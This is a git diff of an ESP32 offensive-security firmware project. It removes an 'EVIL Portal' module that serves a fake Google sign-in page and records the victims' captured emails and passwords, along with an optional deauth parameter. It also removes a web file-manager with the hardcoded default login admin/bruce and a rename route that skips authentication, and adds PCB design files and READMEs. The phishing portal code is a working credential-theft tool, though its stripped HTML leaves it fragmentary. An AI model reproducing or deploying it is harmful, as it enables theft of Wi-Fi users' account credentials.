- "";
- return html;
-}
-
-String creds_GET() {
- return getHtmlContents("" + capturedCredentialsHtml + " Back to Index
Clear passwords
");
-}
-
-String ssid_GET() {
- return getHtmlContents("Set a new SSID for EVIL Portal:
");
-}
-String ssid_POST() {
- return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + " . Please reconnect.");
-}
-
-String index_GET() {
- String loginTitle = String("Sign in");
- String loginSubTitle = String("Use your Google Account");
- String loginEmailPlaceholder = String("Email");
- String loginPasswordPlaceholder = String("Password");
- String loginMessage = String("Please log in to browse securely.");
- String loginButton = String("Next");
-
- return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
-}
-String clear_GET() {
- String email = "
";
- String password = "
";
- capturedCredentialsHtml = "
";
- totalCapturedCredentials = 0;
- return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtml Back to Index ");
-}
-
-void chooseHtml(bool def) {
- ep_logo = "";
- if(def) {
- html_file = loopSD(true);
- if(html_file.endsWith(".html")) {
- ep_logo = "";
- File html = SD.open(html_file, FILE_READ);
- html_file = html.readString();
- } else {
- html_file = index_GET();
- }
- } else {
- html_file = index_GET();
- }
-}
diff --git a/html/WebServer/evil_portal.h b/html/WebServer/evil_portal.h
deleted file mode 100644
index d700e278..00000000
--- a/html/WebServer/evil_portal.h
+++ /dev/null
@@ -1,26 +0,0 @@
-#include
-#include
-#include
-#include
-#include
-
-// function defaults
-
-void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false);
-
-void chooseHtml(bool def = true);
-
-String getHtmlContents(String body);
-
-String creds_GET();
-
-String index_GET();
-
-String clear_GET();
-
-String ssid_GET();
-
-String ssid_POST();
-
-void saveToCSV(const String &filename, const String &csvLine);
-
diff --git a/html/WebServer/webInterface.cpp b/html/WebServer/webInterface.cpp
deleted file mode 100644
index 737f8844..00000000
--- a/html/WebServer/webInterface.cpp
+++ /dev/null
@@ -1,467 +0,0 @@
-#include "globals.h"
-#include "webInterface.h"
-#include "sd_functions.h" // using sd functions called to rename and manage sd files
-#include "wifi_common.h" // using common wifisetup
-#include "mykeyboard.h" // using keyboard when calling rename
-#include "display.h" // using displayRedStripe as error msg
-
-
-struct Config {
- String httpuser;
- String httppassword; // password to access web admin
- int webserverporthttp; // http port number for web admin
-};
-
-File uploadFile;
- // WiFi as a Client
-String default_httpuser = "admin";
-String default_httppassword = "bruce";
-const int default_webserverporthttp = 80;
-
-//WiFi as an Access Point
-IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
-
-Config config; // configuration
-
-WebServer* server=nullptr; // initialise webserver
-const char* host = "bruce";
-const String fileconf = "/bruce.txt";
-String uploadFolder="";
-
-
-
-/**********************************************************************
-** Function: webUIMyNet
-** Display options to launch the WebUI
-**********************************************************************/
-void webUIMyNet() {
- if (WiFi.status() != WL_CONNECTED) {
- if(wifiConnectMenu()) startWebUi(false);
- else {
- displayError("Wifi Offline");
- }
- } else {
- //If it is already connected, just start the network
- startWebUi(false);
- }
- // On fail installing will run the following line
-}
-
-
-/**********************************************************************
-** Function: loopOptionsWebUi
-** Display options to launch the WebUI
-**********************************************************************/
-void loopOptionsWebUi() {
- // Definição da matriz "Options"
- options = {
- {"my Network", [=]() { webUIMyNet(); }},
- {"AP mode", [=]() { startWebUi(true); }},
- };
- delay(200);
-
- loopOptions(options);
- // On fail installing will run the following line
-}
-
-
-/**********************************************************************
-** Function: humanReadableSize
-** Make size of files human readable
-** source: https://github.com/CelliesProjects/minimalUploadAuthESP32
-**********************************************************************/
-String humanReadableSize(uint64_t bytes) {
- if (bytes < 1024) return String(bytes) + " B";
- else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB";
- else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB";
- else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB";
-}
-
-
-
-/**********************************************************************
-** Function: listFiles
-** list all of the files, if ishtml=true, return html rather than simple text
-**********************************************************************/
-String listFiles(bool ishtml, String folder) {
- String returnText = "";
- Serial.println("Listing files stored on SD");
-
- if (ishtml) {
- returnText += "Name Size \n";
- }
- File root = SD.open(folder);
- File foundfile = root.openNextFile();
- if (folder=="//") folder = "/";
- uploadFolder = folder;
- String PreFolder = folder;
- PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/"));
- if(PreFolder=="") PreFolder= "/";
- returnText += "... \n";
-
- if (folder=="/") folder = "";
- while (foundfile) {
- if(foundfile.isDirectory()) {
- if (ishtml) {
- returnText += "\n" + String(foundfile.name()) + " ";
- returnText += " \n";
- returnText += "   ";
- returnText += "   \n";
- returnText += " \n\n";
- } else {
- returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
- }
- }
- foundfile = root.openNextFile();
- }
- root.close();
- foundfile.close();
-
- if (folder=="") folder = "/";
- root = SD.open(folder);
- foundfile = root.openNextFile();
- while (foundfile) {
- if(!(foundfile.isDirectory())) {
- if (ishtml) {
- returnText += "" + String(foundfile.name());
- if (String(foundfile.name()).substring(String(foundfile.name()).lastIndexOf('.') + 1).equalsIgnoreCase("bin")) returnText+= "  ";
- returnText += " \n";
- returnText += "" + humanReadableSize(foundfile.size()) + " \n";
- returnText += "   \n";
- returnText += "   \n";
- returnText += " \n\n";
- } else {
- returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
- }
- }
- foundfile = root.openNextFile();
- }
- root.close();
- foundfile.close();
-
- if (ishtml) {
- returnText += "
";
- }
-
- return returnText;
-}
-
-/**********************************************************************
-** Function: processor
-** parses and processes webpages if the webpage has %SOMETHING%
-** or %SOMETHINGELSE% it will replace those strings with the ones defined
-**********************************************************************/
-
-String processor(const String& var) {
- String processedHtml = var;
- processedHtml.replace("%FIRMWARE%", String(BRUCE_VERSION));
- processedHtml.replace("%FREESD%", humanReadableSize(SD.totalBytes() - SD.usedBytes()));
- processedHtml.replace("%USEDSD%", humanReadableSize(SD.usedBytes()));
- processedHtml.replace("%TOTALSD%", humanReadableSize(SD.totalBytes()));
-
- return processedHtml;
-}
-
-
-/**********************************************************************
-** Function: checkUserWebAuth
-** used by server->on functions to discern whether a user has the correct
-** httpapitoken OR is authenticated by username and password
-**********************************************************************/
-bool checkUserWebAuth() {
- bool isAuthenticated = false;
- if (server->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) {
- isAuthenticated = true;
- }
- return isAuthenticated;
-}
-
-
-
-/**********************************************************************
-** Function: handleUpload
-** handles uploads to the filserver
-**********************************************************************/
-void handleFileUpload() {
- HTTPUpload& upload = server->upload();
- String filename = upload.filename;
- if (upload.status == UPLOAD_FILE_START) {
- if (!filename.startsWith("/")) filename = "/" + filename;
- if (uploadFolder != "/") filename = uploadFolder + filename;
- uploadFile = SD.open(filename, "w");
- Serial.println("Upload Start: " + filename);
- } else if (upload.status == UPLOAD_FILE_WRITE) {
- if (uploadFile)
- uploadFile.write(upload.buf, sizeof(upload.buf));
- } else if (upload.status == UPLOAD_FILE_END) {
- if (uploadFile) {
- uploadFile.close();
- Serial.println("Upload End: " + filename);
- server->sendHeader("Location", "/"); // Redireciona para a raiz
- server->send(303);
- }
- }
-}
-
-
-/**********************************************************************
-** Function: configureWebServer
-** configure web server
-**********************************************************************/
-void configureWebServer() {
- MDNS.begin(host);
-
- // Configura rota padrão para arquivo não encontrado
- server->onNotFound([]() {
- server->send(404, "text/html", "Nothing in here, sharky!");
- });
-
- // Visitar esta página fará com que você seja solicitado a se autenticar
- server->on("/logout", HTTP_GET, []() {
- server->sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
- server->sendHeader("Location", "/logged-out", true); // Redireciona para a página de login
- server->requestAuthentication();
- server->send(302); // Código de status para redirecionamento
- });
-
- // Página que apresenta que você está desconectado
- server->on("/logged-out", HTTP_GET, []() {
- String logMessage = "Cliente desconectado.";
- Serial.println(logMessage);
- server->send(200, "text/html", logout_html);
- });
-
- // Uploadfile handler
- server->on("/upload", HTTP_POST, []() {
- server->send(200, "text/plain", "Upload iniciado");
- }, handleFileUpload);
-
- // Index page
- server->on("/", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- server->send(200, "text/html", processor(index_html));
- } else {
- server->requestAuthentication();
- }
- });
-
- // Index page
- server->on("/Oc34N", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- server->send(200, "text/html", processor(page_404));
- } else {
- server->requestAuthentication();
- }
- });
-
- // Route to rename a file
- server->on("/rename", HTTP_POST, []() {
- if (server->hasArg("fileName") && server->hasArg("filePath")) {
- String fileName = server->arg("fileName").c_str();
- String filePath = server->arg("filePath").c_str();
- String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName;
- if(!SD.begin()) {
- sdcardMounted=false;
- server->send(200, "text/plain", "Fail starting SD Card.");
- }
- else {
- // Rename the file of folder
- if (SD.rename(filePath, filePath2)) {
- server->send(200, "text/plain", filePath + " renamed to " + filePath2);
- } else {
- server->send(200, "text/plain", "Fail renaming file.");
- }
- }
- }
- });
-
- // Reinicia o ESP
- server->on("/reboot", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- ESP.restart();
- } else {
- server->requestAuthentication();
- }
- });
-
- // List files of the SD Card
- server->on("/listfiles", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- String folder = "/";
- if (server->hasArg("folder")) {
- folder = server->arg("folder");
- }
- server->send(200, "text/plain", listFiles(true, folder));
- } else {
- server->requestAuthentication();
- }
- });
-
- // define route to handle download, create folder and delete
- server->on("/file", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- if (server->hasArg("name") && server->hasArg("action")) {
- String fileName = server->arg("name").c_str();
- String fileAction = server->arg("action").c_str();
- log_i("filename: %s", fileName);
- log_i("fileAction: %s", fileAction);
-
- if (!SD.exists(fileName)) {
- if (strcmp(fileAction.c_str(), "create") == 0) {
- if (SD.mkdir(fileName)) {
- server->send(200, "text/plain", "Created new folder: " + String(fileName));
- } else {
- server->send(200, "text/plain", "FAIL creating folder: " + String(fileName));
- }
- } else server->send(400, "text/plain", "ERROR: file does not exist");
-
- } else {
- if (strcmp(fileAction.c_str(), "download") == 0) {
- File downloadFile = SD.open(fileName, FILE_READ);
- if (downloadFile) {
- String contentType = "application/octet-stream";
- server->setContentLength(downloadFile.size());
- server->sendHeader("Content-Type", contentType, true);
- server->sendHeader("Content-Disposition", "attachment; filename=\"" + String(downloadFile.name()) + "\"");
- server->streamFile(downloadFile, contentType);
- downloadFile.close();
- } else {
- server->send(500, "text/plain", "Failed to open file for reading");
- }
- } else if (strcmp(fileAction.c_str(), "delete") == 0) {
- if (deleteFromSd(fileName)) {
- server->send(200, "text/plain", "Deleted : " + String(fileName));
- } else {
- server->send(200, "text/plain", "FAIL deleting: " + String(fileName));
- }
- } else if (strcmp(fileAction.c_str(), "create") == 0) {
- if (SD.mkdir(fileName)) {
- server->send(200, "text/plain", "Created new folder: " + String(fileName));
- } else {
- server->send(200, "text/plain", "FAIL creating folder: " + String(fileName));
- }
- } else {
- server->send(400, "text/plain", "ERROR: invalid action param supplied");
- }
- }
- } else {
- server->send(400, "text/plain", "ERROR: name and action params required");
- }
- } else {
- server->requestAuthentication();
- }
- });
-
- // Configuração de Wi-Fi via página web
- server->on("/wifi", HTTP_GET, []() {
- if (checkUserWebAuth()) {
- if (server->hasArg("usr") && server->hasArg("pwd")) {
- const char *ssid = server->arg("usr").c_str();
- const char *pwd = server->arg("pwd").c_str();
- SD.remove(fileconf);
- File file = SD.open(fileconf, FILE_WRITE);
- file.print(String(ssid) + ";" + String(pwd) + ";\n");
- config.httpuser = ssid;
- config.httppassword = pwd;
- file.print("#ManagerUser;ManagerPassword;");
- file.close();
- server->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd));
- }
- } else {
- server->requestAuthentication();
- }
- });
- server->begin();
-}
-/**********************************************************************
-** Function: startWebUi
-** Start the WebUI
-**********************************************************************/
-void startWebUi(bool mode_ap) {
-
- config.httpuser = default_httpuser;
- config.httppassword = default_httppassword;
- config.webserverporthttp = default_webserverporthttp;
-
- if(setupSdCard()) {
- if(SD.exists(fileconf)) {
- Serial.println("File Exists, reading " + fileconf);
- File file = SD.open(fileconf, FILE_READ);
- if(file) {
- default_httpuser = readLineFromFile(file);
- default_httppassword = readLineFromFile(file);
- config.httpuser = default_httpuser;
- config.httppassword = default_httppassword;
-
- file.close();
- }
- }
- else {
- File file = SD.open(fileconf, FILE_WRITE);
- file.print( default_httpuser + ";" + default_httppassword + ";\n");
- file.print("#ManagerUser;ManagerPassword;");
- file.close();
- }
- }
-
- if (WiFi.status() != WL_CONNECTED) {
- // Choose wifi access mode
- wifiConnectMenu(mode_ap);
- }
-
- // configure web server
- Serial.println("Configuring Webserver ...");
- server = (WebServer*)malloc(sizeof(WebServer));
- new (server) WebServer(config.webserverporthttp);
-
- configureWebServer();
-
- tft.fillScreen(bruceConfig.bgColor);
- tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,ALCOLOR);
- setTftDisplay(0,0,ALCOLOR,FM);
- tft.drawCentreString("BRUCE WebUI",WIDTH/2,7,1);
- String txt;
- if(!mode_ap) txt = WiFi.localIP().toString();
- else txt = WiFi.softAPIP().toString();
- tft.setTextColor(bruceConfig.priColor);
-
-#ifndef STICK_C
- tft.drawCentreString("http://bruce.local", WIDTH/2,25,1);
- setTftDisplay(7,47);
-#else
- tft.drawCentreString("http://bruce.local", WIDTH/2,17,1);
- setTftDisplay(7,26);
-#endif
- tft.setTextSize(FM);
- tft.print("IP: "); tft.println(txt);
- tft.setCursor(7,tft.getCursorY());
- tft.println("Usr: " + String(default_httpuser));
- tft.setCursor(7,tft.getCursorY());
- tft.println("Pwd: " + String(default_httppassword));
- tft.setCursor(7,tft.getCursorY());
- tft.setTextColor(TFT_RED);
- tft.setTextSize(FP);
-
- #ifdef CARDPUTER
- tft.drawCentreString("press Esc to stop", WIDTH/2,HEIGHT-15,1);
- #else
- tft.drawCentreString("press Pwr to stop", WIDTH/2,HEIGHT-15,1);
- #endif
-
- disableCore0WDT();
- disableCore1WDT();
- disableLoopWDT();
- while (!checkEscPress()) {
- server->handleClient();
- // nothing here, just to hold the screen until the server is on.
- }
- server->close();
- server->~WebServer();
- free(server);
- server = nullptr;
- MDNS.end();
-
- delay(100);
- wifiDisconnect();
-
-}
\ No newline at end of file
diff --git a/html/WebServer/webInterface.h b/html/WebServer/webInterface.h
deleted file mode 100644
index 23053215..00000000
--- a/html/WebServer/webInterface.h
+++ /dev/null
@@ -1,499 +0,0 @@
-
-#include
-#include
-#include
-#include
-#include
-
-// function defaults
-String humanReadableSize(uint64_t bytes);
-String listFiles(bool ishtml, String folder);
-String processor(const String& var);
-String readLineFromFile(File myFile);
-
-void loopOptionsWebUi();
-
-void configureWebServer();
-void startWebUi(bool mode_ap = false);
-
-const char index_html[] PROGMEM = R"rawliteral(
-
-
-
-
-
-
-
-
-
-
-
-
-
BRUCE Firmware
-
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
-
Firmware version: %FIRMWARE%
-
Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
-
-
-
Reboot
-
Usr/Pass
-
SD Files
-
-
-
-
-
-
-
-
-
-
-
-
-)rawliteral";
-
-const char logout_html[] PROGMEM = R"rawliteral(
-
-
-
-
-
-
-
-
-
-
-
-)rawliteral";
-
-
-const char page_404[] PROGMEM = R"rawliteral(
-
-
-)rawliteral";
\ No newline at end of file
diff --git a/html/WebUI.html b/html/WebUI.html
deleted file mode 100644
index f9888d7e..00000000
--- a/html/WebUI.html
+++ /dev/null
@@ -1,600 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
BRUCE Firmware
-
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
-
Firmware version: %FIRMWARE%
-
SD Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
-
LittleFS Free Storage: %FREELittleFS% | Used: %USEDLittleFS% | Total: %TOTALLittleFS%
-
-
-
Reboot
-
Usr/Pass
-
SD Files
-
LittleFS
-
-
-
-
-
-
-
-
Drag and drop files here
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/media/pcbs/TH3_KR4K3N/pcb_back.jpg b/media/pcbs/TH3_KR4K3N/pcb_back.jpg
new file mode 100644
index 00000000..698aadcd
Binary files /dev/null and b/media/pcbs/TH3_KR4K3N/pcb_back.jpg differ
diff --git a/media/pcbs/smoochie/Bruce_PCB_full.png b/media/pcbs/smoochie/Bruce_PCB_full.png
new file mode 100644
index 00000000..428693e0
Binary files /dev/null and b/media/pcbs/smoochie/Bruce_PCB_full.png differ
diff --git a/media/pcbs/smoochie/back.png b/media/pcbs/smoochie/back.png
new file mode 100644
index 00000000..a05573f2
Binary files /dev/null and b/media/pcbs/smoochie/back.png differ
diff --git a/media/pcbs/smoochie/front.png b/media/pcbs/smoochie/front.png
new file mode 100644
index 00000000..aba46f01
Binary files /dev/null and b/media/pcbs/smoochie/front.png differ
diff --git a/media/pcbs/ultramarines/ultramarines_full_side.jpg b/media/pcbs/ultramarines/ultramarines_full_side.jpg
new file mode 100644
index 00000000..94b6f935
Binary files /dev/null and b/media/pcbs/ultramarines/ultramarines_full_side.jpg differ
diff --git a/media/pcbs/ultramarines/ultramarines_pcb_back.jpg b/media/pcbs/ultramarines/ultramarines_pcb_back.jpg
new file mode 100644
index 00000000..446f8afd
Binary files /dev/null and b/media/pcbs/ultramarines/ultramarines_pcb_back.jpg differ
diff --git a/media/pcbs/ultramarines/ultramarines_pcb_front.png b/media/pcbs/ultramarines/ultramarines_pcb_front.png
new file mode 100644
index 00000000..f696e17d
Binary files /dev/null and b/media/pcbs/ultramarines/ultramarines_pcb_front.png differ
diff --git a/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv
new file mode 100644
index 00000000..fc00fdb8
Binary files /dev/null and b/pcbs/Bruce_PCB_smoochie/BOM_bruce-2_2024-12-15.csv differ
diff --git a/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv b/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv
new file mode 100644
index 00000000..f9ebb7c2
Binary files /dev/null and b/pcbs/Bruce_PCB_smoochie/PickAndPlace_PCB_bruce-2_2024-12-15.csv differ
diff --git a/pcbs/Bruce_PCB_smoochie/README.md b/pcbs/Bruce_PCB_smoochie/README.md
new file mode 100644
index 00000000..1257b6be
--- /dev/null
+++ b/pcbs/Bruce_PCB_smoochie/README.md
@@ -0,0 +1,7 @@
+# Bruce PCB
+
+This PCB was designed by Smoochiee
+
+IF YOU LIKE SMOOCHIEE'S PROJECT PLEASE CONSIDER DONATING TO HIS PAYPAL..ANY DONATION WILL BE USE FOR PCB AND TESTING OTHER MODULES
+
+https://www.paypal.com/paypalme/smoochieelee?country.x=PH&locale.x=en_US
diff --git a/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf b/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf
new file mode 100644
index 00000000..a21b69c1
Binary files /dev/null and b/pcbs/Bruce_PCB_smoochie/Schematic_bruce-2_2024-12-19.pdf differ
diff --git a/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip b/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip
new file mode 100644
index 00000000..fe28cdf1
Binary files /dev/null and b/pcbs/Bruce_PCB_smoochie/gerber/Gerber_bruce-2_PCB_bruce-2_2024-12-15.zip differ
diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip b/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip
new file mode 100644
index 00000000..c13cacd7
Binary files /dev/null and b/pcbs/M5Stick_Intermidiate_kr4k3n/M5Stick_Intermidiate.zip differ
diff --git a/pcbs/M5Stick_Intermidiate_kr4k3n/README.md b/pcbs/M5Stick_Intermidiate_kr4k3n/README.md
new file mode 100644
index 00000000..b1ba7a07
--- /dev/null
+++ b/pcbs/M5Stick_Intermidiate_kr4k3n/README.md
@@ -0,0 +1,4 @@
+# Bruce PCB
+
+This PCB was designed by TH3_KR4K3N
+
diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip b/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip
new file mode 100644
index 00000000..ac822fd3
Binary files /dev/null and b/pcbs/M5Stick_Intermidiate_ultramarines/Gerber_m5module_PCB_m5module_2024-11-18.zip differ
diff --git a/pcbs/M5Stick_Intermidiate_ultramarines/README.md b/pcbs/M5Stick_Intermidiate_ultramarines/README.md
new file mode 100644
index 00000000..26b45e84
--- /dev/null
+++ b/pcbs/M5Stick_Intermidiate_ultramarines/README.md
@@ -0,0 +1,4 @@
+# Bruce PCB
+
+This PCB was designed by ultramarines
+
diff --git a/pcbs/README.md b/pcbs/README.md
new file mode 100644
index 00000000..7f0cdcb0
--- /dev/null
+++ b/pcbs/README.md
@@ -0,0 +1,14 @@
+# Bruce PCBs
+
+Here are some of the open-source community made PCBs, you can download them and print whenever you want to OR you can order directly with our sponsor PCBWAY just by clicking on the banner above:
+
+## Bruce PCB from Smoochiee:
+
+[!][Bruce PCB v1](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/Bruce_PCB_full.png)
+[!][Bruce PCB back](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/back.png)
+[!][Bruce PCB front](https://raw.githubusercontent.com/pr3y/Bruce/refs/heads/main/media/pcbs/smoochie/front.png)
+
+## Order here
+[![PCB from PCBWay](https://www.pcbway.com/project/img/images/frompcbway-1220.png)](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html)
+
+
diff --git a/test/README b/test/README
deleted file mode 100644
index b0416ad8..00000000
--- a/test/README
+++ /dev/null
@@ -1,11 +0,0 @@
-
-This directory is intended for PlatformIO Test Runner and project tests.
-
-Unit Testing is a software testing method by which individual units of
-source code, sets of one or more MCU program modules together with associated
-control data, usage procedures, and operating procedures, are tested to
-determine whether they are fit for use. Unit testing finds problems early
-in the development cycle.
-
-More information about PlatformIO Unit Testing:
-- https://docs.platformio.org/en/latest/advanced/unit-testing/index.html